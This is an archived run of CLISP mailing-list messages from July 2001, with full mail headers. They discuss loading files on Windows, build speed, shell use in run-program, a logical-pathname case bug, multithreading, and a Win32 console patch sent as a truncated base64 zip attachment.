<87elrdimll.fsf@hillcountry.net> > * On the subject of "[clisp-list] Can't load progs into Clisp" > * Sent on 18 Jul 2001 23:12:06 -0500 > * Honorable IBMackey writes: > > I installed clisp onto a windows machine. When I try to load one of my > lisp program files > > Win32 error - file not found. I do not understand what you are doing. sorry. 1. cd to the directory where clisp is installed. 2. start clisp like this: > lisp.exe -B . -M lispinit.mem 3. type > (load "foo") if you have foo.lisp in the current directory, it is loaded. please provide an exact test case so that I can reproduce it on my machine. thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only substitute for good manners is fast reflexes. From sds@gnu.org Thu Jul 19 07:04:44 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NEPz-0007mK-00 for ; Thu, 19 Jul 2001 07:04:43 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA02698; Thu, 19 Jul 2001 10:04:39 -0400 (EDT) X-Envelope-To: To: VS1100 Cc: clisp-list@lists.sourceforge.net References: <207c862087a4.2087a4207c86@teleline.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <207c862087a4.2087a4207c86@teleline.es> Date: 19 Jul 2001 10:03:52 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Speed of Clisp 2.27 on Windows using msvc/cygwin gcc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <207c862087a4.2087a4207c86@teleline.es> > * On the subject of "Re: Speed of Clisp 2.27 on Windows using msvc/cygwin gcc" > * Sent on Thu, 19 Jul 2001 11:43:29 +0200 > * Honorable VS1100 writes: > > I am using Cygwin, newest version. does *features* contain :unix? > I am measuring speed with time. obviously. > The benchmark takes about 20 seconds using the cygwin build > and 37 seconds the built from sourceforge. I also measured > with a normal watch to verify the results. what does the benchmark do? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Old Age Comes at a Bad Time. From peter.wood@worldonline.dk Thu Jul 19 08:11:46 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NFSq-0000qh-00 for ; Thu, 19 Jul 2001 08:11:45 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id EDE00B50E for ; Thu, 19 Jul 2001 17:11:40 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6JF5cZ00298; Thu, 19 Jul 2001 17:05:38 +0200 Date: Thu, 19 Jul 2001 17:05:38 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? Message-ID: <20010719170538.A266@localhost.localdomain> References: <20010715231453.A437@localhost.localdomain> <20010718075023.A19035@localhost.localdomain> <4n3d7u9gfc.fsf@rtp.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <4n3d7u9gfc.fsf@rtp.ericsson.se>; from toy@rtp.ericsson.se on Wed, Jul 18, 2001 at 03:37:59PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Jul 18, 2001 at 03:37:59PM -0400, Raymond Toy wrote: > Why not? While sh can do a fair amount, there are lots of things it > can't do without help. So I don't see a problem with clisp needing sh > to do things. Tell me which shell starts another (different) shell to run programs. One reason it would be wrong is that you would have to have both shells in /bin instead of only the one. If Clash is to be able to run bootscripts (rcscripts) it needs to be on the root file system. Yes, disk space is cheap. Yes, there are still good reasons for having a small root file system. Most people don't want redundant stuff there. All this just means that Clash will be Linux-only. It makes life much easier for me. Regards, Peter Ps. The simpler syntax of execlp* means I don't need to use a read-macro to process the user's input, and I can give the user the illusion of having an identical syntax to simple shell commands. That's a big plus, since people don't want to have to fiddle with parentheses and #\# for simple commands. From toy@rtp.ericsson.se Thu Jul 19 08:23:52 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NFeZ-0002ZK-00 for ; Thu, 19 Jul 2001 08:23:52 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f6JFNi529802 for ; Thu, 19 Jul 2001 10:23:44 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f6JFNiX26741 for ; Thu, 19 Jul 2001 10:23:44 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Thu Jul 19 10:23:36 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.123.225]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA01779; Thu, 19 Jul 2001 11:24:15 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id LAA23762; Thu, 19 Jul 2001 11:23:35 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? References: <20010715231453.A437@localhost.localdomain> <20010718075023.A19035@localhost.localdomain> <4n3d7u9gfc.fsf@rtp.ericsson.se> <20010719170538.A266@localhost.localdomain> From: Raymond Toy Date: 19 Jul 2001 11:23:35 -0400 In-Reply-To: <20010719170538.A266@localhost.localdomain> Message-ID: <4nitgp7xjc.fsf@rtp.ericsson.se> Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Peter" == Peter Wood writes: Peter> On Wed, Jul 18, 2001 at 03:37:59PM -0400, Raymond Toy wrote: >> Why not? While sh can do a fair amount, there are lots of things it >> can't do without help. So I don't see a problem with clisp needing sh >> to do things. Peter> Tell me which shell starts another (different) shell to run programs. Well, I vaguely recall that old versions of sh *always* started another copy of itself to run a program. Perhaps that's still true. Maybe csh calls sh to run shell scripts? (At least someone has to do that eventually when the script has #!/bin/sh.) I do know that bash is somewhat smarter in that it doesn't always do that and instead forks and execs (or something like that) if it running a "simple" program. In any case, I wasn't saying what you wanted to do was right or wrong. I was just curious on why you didn't want clisp to use sh. Peter> Ps. The simpler syntax of execlp* means I don't need to use a Peter> read-macro to process the user's input, and I can give the user the Peter> illusion of having an identical syntax to simple shell commands. Peter> That's a big plus, since people don't want to have to fiddle with Peter> parentheses and #\# for simple commands. This is cool. I've never had an interest in a lisp shell because the ones I've looked at used lisp syntax and that doesn't make for a great shell where you just wanted to run this program piped to that. In this case, shell syntax is nicer than lisp. But for more complicated things, having lisp is good. Ray From sds@gnu.org Thu Jul 19 13:11:52 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NK9I-0002QZ-00 for ; Thu, 19 Jul 2001 13:11:52 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA11009; Thu, 19 Jul 2001 16:11:43 -0400 (EDT) X-Envelope-To: To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> <20010719150542.A6660@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010719150542.A6660@apal.ii.uib.no> Date: 19 Jul 2001 16:10:42 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010719150542.A6660@apal.ii.uib.no> > * On the subject of "Re: [clisp-list] 2.27?" > * Sent on Thu, 19 Jul 2001 15:05:43 +0200 > * Honorable Stig E Sandoe writes: > > (All examples are initiated by > (setf (logical-pathname-translations "CL-LIBRARY") nil) ) > > 2.27: > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) > :type "C" :case :common) :host "CL-LIBRARY" :case :common) > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) > :type "c" :case :common) :host "CL-LIBRARY" :case :common) > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) I cannot reproduce this either on Solaris or on NT. both produce the correct case. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Failure is not an option. It comes bundled with your Microsoft product. From stig@ii.uib.no Thu Jul 19 13:22:40 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NKJi-000431-00 for ; Thu, 19 Jul 2001 13:22:38 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15NKJf-0007AN-00 ; Thu, 19 Jul 2001 22:22:35 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.10.2+Sun/8.10.2) id f6JKMY606931; Thu, 19 Jul 2001 22:22:34 +0200 (MEST) Date: Thu, 19 Jul 2001 22:22:34 +0200 From: Stig E Sandoe To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? Message-ID: <20010719222234.A5934@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Sam Steingold , clisp-list@lists.sourceforge.net References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> <20010719150542.A6660@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Jul 19, 2001 at 04:10:42PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Quoting Sam Steingold (sds@gnu.org): | > * In message <20010719150542.A6660@apal.ii.uib.no> | > * On the subject of "Re: [clisp-list] 2.27?" | > * Sent on Thu, 19 Jul 2001 15:05:43 +0200 | > * Honorable Stig E Sandoe writes: | > | > (All examples are initiated by | > (setf (logical-pathname-translations "CL-LIBRARY") nil) ) | > | > 2.27: | > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) | > :type "C" :case :common) :host "CL-LIBRARY" :case :common) | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) | > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) | > :type "c" :case :common) :host "CL-LIBRARY" :case :common) | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) | | I cannot reproduce this either on Solaris or on NT. | both produce the correct case. The above behaviour is produced with a straight compile on Debian Linux with the image directly from the compile using ANSI-mode. The above behaviour is a show-stopper for using CLISP 2.27 with the packages in cCLan. Do you have a Linux-box to be able to reproduce this or any hints to track down the bug? -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From sds@gnu.org Thu Jul 19 14:49:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NLfp-0006WV-00 for ; Thu, 19 Jul 2001 14:49:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA26924; Thu, 19 Jul 2001 17:49:30 -0400 (EDT) X-Envelope-To: To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> <20010719150542.A6660@apal.ii.uib.no> <20010719222234.A5934@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010719222234.A5934@apal.ii.uib.no> Date: 19 Jul 2001 17:48:23 -0400 Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010719222234.A5934@apal.ii.uib.no> > * On the subject of "Re: [clisp-list] 2.27?" > * Sent on Thu, 19 Jul 2001 22:22:34 +0200 > * Honorable Stig E Sandoe writes: > > | > (All examples are initiated by > | > (setf (logical-pathname-translations "CL-LIBRARY") nil) ) > | > > | > 2.27: > | > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) > | > :type "C" :case :common) :host "CL-LIBRARY" :case :common) > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL > | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) > | > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) > | > :type "c" :case :common) :host "CL-LIBRARY" :case :common) > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL > | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) > | > | I cannot reproduce this either on Solaris or on NT. > | both produce the correct case. > > The above behaviour is produced with a straight compile on Debian > Linux with the image directly from the compile using ANSI-mode. The > above behaviour is a show-stopper for using CLISP 2.27 with the > packages in cCLan. Do you have a Linux-box to be able to reproduce > this or any hints to track down the bug? I confirm this both on FreeBSD 3.3-RELEASE i386 and Linux 2.2.19 i686. I wonder... (ANSI mode, of course, has nothing to do with this). I see no reason to use :case :common here, BTW. I bet it is the cause of the problem! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on All generalizations are wrong. Including this. From stig@ii.uib.no Thu Jul 19 15:35:20 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15NMO6-0003tm-00 for ; Thu, 19 Jul 2001 15:35:18 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15NMO1-0001fA-00 ; Fri, 20 Jul 2001 00:35:13 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.10.2+Sun/8.10.2) id f6JMZDu10419; Fri, 20 Jul 2001 00:35:13 +0200 (MEST) Date: Fri, 20 Jul 2001 00:35:13 +0200 From: Stig E Sandoe To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? Message-ID: <20010720003512.A10301@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , Sam Steingold , clisp-list@lists.sourceforge.net References: <20010712023420.A11913@apal.ii.uib.no> <20010712184252.A27015@apal.ii.uib.no> <20010719150542.A6660@apal.ii.uib.no> <20010719222234.A5934@apal.ii.uib.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Jul 19, 2001 at 05:48:23PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Quoting Sam Steingold (sds@gnu.org): | > * In message <20010719222234.A5934@apal.ii.uib.no> | > * On the subject of "Re: [clisp-list] 2.27?" | > * Sent on Thu, 19 Jul 2001 22:22:34 +0200 | > * Honorable Stig E Sandoe writes: | > | > | > (All examples are initiated by | > | > (setf (logical-pathname-translations "CL-LIBRARY") nil) ) | > | > | > | > 2.27: | > | > [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) | > | > :type "C" :case :common) :host "CL-LIBRARY" :case :common) | > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL | > | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) | > | > [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) | > | > :type "c" :case :common) :host "CL-LIBRARY" :case :common) | > | > #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL | > | > :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) | > | | > | I cannot reproduce this either on Solaris or on NT. | > | both produce the correct case. | > | > The above behaviour is produced with a straight compile on Debian | > Linux with the image directly from the compile using ANSI-mode. The | > above behaviour is a show-stopper for using CLISP 2.27 with the | > packages in cCLan. Do you have a Linux-box to be able to reproduce | > this or any hints to track down the bug? | | I confirm this both on FreeBSD 3.3-RELEASE i386 | and Linux 2.2.19 i686. | I wonder... My parser is a bit off on a late night, does this mean you were able to reproduce it? | (ANSI mode, of course, has nothing to do with this). | | I see no reason to use :case :common here, BTW. | I bet it is the cause of the problem! When removing :case :common I get: [2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "C") :host "CL-LIBRARY") #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "C" :VERSION NIL) [3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type "c") :host "CL-LIBRARY") #S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL) Which seems right to me. The :case :common code can probably be removed, but I still think the behaviour is dubious in the presence of :case :common. -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From don-sourceforge@isis.cs3-inc.com Sat Jul 21 17:52:37 2001 Received: from [207.224.119.73] (helo=isis.cs3-inc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15O7U5-00017p-00 for ; Sat, 21 Jul 2001 17:52:37 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f6M0nRO28320 for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2001 17:49:27 -0700 Date: Sat, 21 Jul 2001 17:49:27 -0700 Message-Id: <200107220049.f6M0nRO28320@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf2 From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] question on multithreading Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Is the proposed implementation supposed to allow multiple processors to execute lisp code at the same time? My guess is that it is not. Can someone who is familiar with the issues please explain them or post a reference? From sds@gnu.org Sat Jul 21 22:47:44 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15OC5g-00065F-00 for ; Sat, 21 Jul 2001 22:47:44 -0700 Received: from xchange.com (slip-129-37-99-217.tx.us.prserv.net[129.37.99.217]) by prserv.net (out4) with ESMTP id <20010722054738204007rafme>; Sun, 22 Jul 2001 05:47:40 +0000 To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] question on multithreading References: <200107220049.f6M0nRO28320@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200107220049.f6M0nRO28320@isis.cs3-inc.com> Date: 22 Jul 2001 01:46:24 -0400 Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200107220049.f6M0nRO28320@isis.cs3-inc.com> > * On the subject of "[clisp-list] question on multithreading" > * Sent on Sat, 21 Jul 2001 17:49:27 -0700 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > Is the proposed implementation supposed to allow multiple processors > to execute lisp code at the same time? My guess is that it is not. > Can someone who is familiar with the issues please explain them or > post a reference? the proposed implementation uses OS threads, i.e., if your OS can run different threads of the same process on different processors, then lisp code will be executed at the same time on different processors. please see src/xthreads.d and doc/multithread.txt -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who don't know lisp are destined to reinvent it, poorly. From don-sourceforge@isis.cs3-inc.com Sun Jul 22 00:00:53 2001 Received: from [207.224.119.73] (helo=isis.cs3-inc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ODES-0004dr-00 for ; Sun, 22 Jul 2001 00:00:53 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f6M712K29166; Sun, 22 Jul 2001 00:01:02 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15194.31278.64516.715094@isis.cs3-inc.com> Date: Sun, 22 Jul 2001 00:01:02 -0700 To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] question on multithreading In-Reply-To: References: <200107220049.f6M0nRO28320@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > Is the proposed implementation supposed to allow multiple processors > > to execute lisp code at the same time? My guess is that it is not. > > Can someone who is familiar with the issues please explain them or > > post a reference? > > the proposed implementation uses OS threads, i.e., if your OS can run > different threads of the same process on different processors, then > lisp code will be executed at the same time on different processors. > > please see src/xthreads.d and doc/multithread.txt I realize that it's to be implemented with OS threads. Unfortunately, the ability to execute lisp code on multiple processors at the same time does not follow from that. For instance, Allegro CL now implements its MP package with OS threads, but only one thread at a time is (or at least was, last I heard) allowed access to the lisp heap. In this case the multiple threads are allowing you a multiple process style of programming, but not an actual speedup with multiple processors. I believe there are good reasons for this restriction. I also believe they apply to clisp as well as Allegro. I hope someone out there can clarify this further. From ampy@crosswinds.net Sun Jul 22 05:04:58 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15OHyj-0001Ba-00 for ; Sun, 22 Jul 2001 05:04:57 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id B271E5D07D for ; Sun, 22 Jul 2001 08:04:55 -0400 (EDT) Received: from 212.16.216.104 (unknown [212.16.216.104]) by member-mx1.crosswinds.net (Postfix) with ESMTP id 0CE6A4CA26 for ; Sun, 22 Jul 2001 08:04:48 -0400 (EDT) Date: Sun, 22 Jul 2001 23:06:07 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.36) S/N 345 Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <14962.010722@crosswinds.net> To: CLISP-LIST Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------10455DC8DDD9AD" Subject: [clisp-list] win32 SCREEN: implementation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ------------10455DC8DDD9AD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I moved all stuff to version 2.27, where internal characters are in UTF-8, so some additions were required. However I can't do one thing, namely : An window-stream, used to console output should contain encoding information in extra field 'strm_encoding'. I'm trying to allocate additional memory for it in call to 'allocate_stream' and set that field to 'O(default_file_encoding)' for example. When I read this field in the call to wr_ch_window however I got something strange instead of encoding. Same situation with keyboard. So I moved that O's directly to stream processing functions. Diffs with 2.27 release sources are attached. -- Best regards, Arseny ------------10455DC8DDD9AD Content-Type: application/x-zip-compressed; name="Screen.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Screen.zip" UEsDBAoAAAAGADS39irKAiClbwEAABADAAAMAAAAUEFUSE5BTUUuRElGDQIBEiMUFTY3aIma2zwF BhITRMX2lvdbtmwJcqhOrlefSl3KlWnSqVC5Ig06dGlRolyHMHeZLmXe5KK9kx5N6jQoU65ww9JF 6zZs27IuySakirYuSKV12YKMKRMkTJo6ZdbUWdMmSJkwYcZsqHDlypUgiUDrsWzTzoXb4r/PlTtG P9ao3DT6zX0Jb5k65pfwlqFfAgUKsmXMmTVhsrwJcsVxIb2sN0gQwV1uWbp15boFifKs3LBw0aYd +3Us2rByv8JFYbxTgjRpEmQI5N2z50muXE80x79gjtXBvFPuYEaPLOuWbFozzonlTbasWZBQg1JF glY3Lfr1yls9U0b3bpEP4ViD9NlDrqJmy89j+byq5jxE855Jg3m/VOGcpikzpcoX3Uka6rE1cTDH 24TBHCuDGLLNGcSQc3Qv782XT/Ps4e8zYzRXWQtkyDFzwMOEqW385SukQs9ERdERsEynpw59OuX1 gKwj9FgXzMt3GlBLAwQKAAYABgBut/Yqzg16PD8RAABfPAAACgAAAFNUUkVBTS5ESUZhCnsHBhsG uwxLAwkHCwkLCQcWBwgGBQYHBgU2BxYXCwoGCAoLBQYVBAYXBQoIBQYVBgolBggHGAoHCggLBwsE 